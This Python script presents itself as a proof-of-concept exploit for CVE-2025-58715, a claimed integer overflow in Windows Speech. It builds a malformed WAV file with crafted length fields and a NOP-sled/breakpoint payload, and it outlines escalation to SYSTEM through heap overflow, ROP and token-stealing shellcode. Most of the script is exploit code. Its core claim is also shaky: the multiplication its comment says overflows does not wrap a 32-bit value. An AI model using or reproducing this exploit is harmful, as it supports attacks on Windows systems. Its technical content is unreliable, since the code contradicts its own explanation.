The following code is for security research and authorized testing only.
python
# CVE-2025-58715 - Microsoft Windows Speech Integer Overflow PoC (Conceptual)
# This is a conceptual proof-of-concept demonstrating the integer overflow
# vulnerability in the Windows Speech component.
# NOTE: This code is for educational and defensive research purposes only.
import struct
import sys
# Malicious voice data payload generator
# Targets the integer overflow in buffer size calculation within Windows Speech
def craft_malicious_speech_payload():
"""
Craft a malicious speech data payload that triggers integer overflow
in the Windows Speech component's buffer size calculation.
"""
# Simulate a WAVE/RIFF-like header structure used by Windows Speech
# The vulnerability is triggered when processing specific length fields
# RIFF header
riff_header = b'RIFF'
# Chunk size - intentionally set to a large value to trigger overflow
# when combined with other fields in arithmetic operations
chunk_size = struct.pack('<I', 0xFFFFFFFF) # Max uint32 to trigger wraparound
# Wave format identifier
wave_format = b'WAVE'
# fmt sub-chunk
fmt_subchunk_id = b'fmt '
fmt_subchunk_size = struct.pack('<I', 16)
audio_format = struct.pack('<H', 1) # PCM
num_channels = struct.pack('<H', 1) # Mono
sample_rate = struct.pack('<I', 44100)
byte_rate = struct.pack('<I', 44100 * 2)
block_align = struct.pack('<H', 2)
bits_per_sample = struct.pack('<H', 16)
# data sub-chunk with crafted size to trigger integer overflow
data_subchunk_id = b'data'
# This value, when multiplied by block_align, causes integer overflow
# resulting in a small buffer allocation followed by large data copy
malicious_data_size = struct.pack('<I', 0x20000001)
# Payload: shellcode or token-stealing payload placeholder
# In a real exploit, this would contain:
# - NOP sled
# - Heap spray/grooming data
# - ROP chain for DEP bypass
# - Token stealing shellcode to elevate to SYSTEM
payload = b'\x90' * 256 # NOP sled placeholder
payload += b'\xCC' * 256 # INT3 breakpoints for debugging
# Assemble the malicious speech file
malicious_file = (
riff_header +
chunk_size +
wave_format +
fmt_subchunk_id +
fmt_subchunk_size +
audio_format +
num_channels +
sample_rate +
byte_rate +
block_align +
bits_per_sample +
data_subchunk_id +
malicious_data_size +
payload
)
return malicious_file
def exploit_cve_2025_58715():
"""
Main exploit function for CVE-2025-58715.
Delivers the crafted payload to the Windows Speech component
to trigger integer overflow and achieve privilege escalation.
"""
print("[*] CVE-2025-58715 PoC - Windows Speech Integer Overflow")
print("[*] Generating malicious speech payload...")
payload = craft_malicious_speech_payload()
# Write the malicious payload to a file
output_file = "malicious_speech.wav"
with open(output_file, 'wb') as f:
f.write(payload)
print(f"[+] Malicious payload written to: {output_file}")
print("[*] Triggering vulnerability via Windows Speech API...")
print("[!] In a real exploit scenario:")
print(" 1. The crafted audio file is fed to the Speech Recognition API")
print(" 2. Integer overflow occurs during buffer size calculation")
print(" 3. Heap buffer overflow enables arbitrary code execution")
print(" 4. Token stealing shellcode elevates to SYSTEM privileges")
print("[*] PoC execution complete (conceptual demonstration)")
if __name__ == "__main__":
exploit_cve_2025_58715()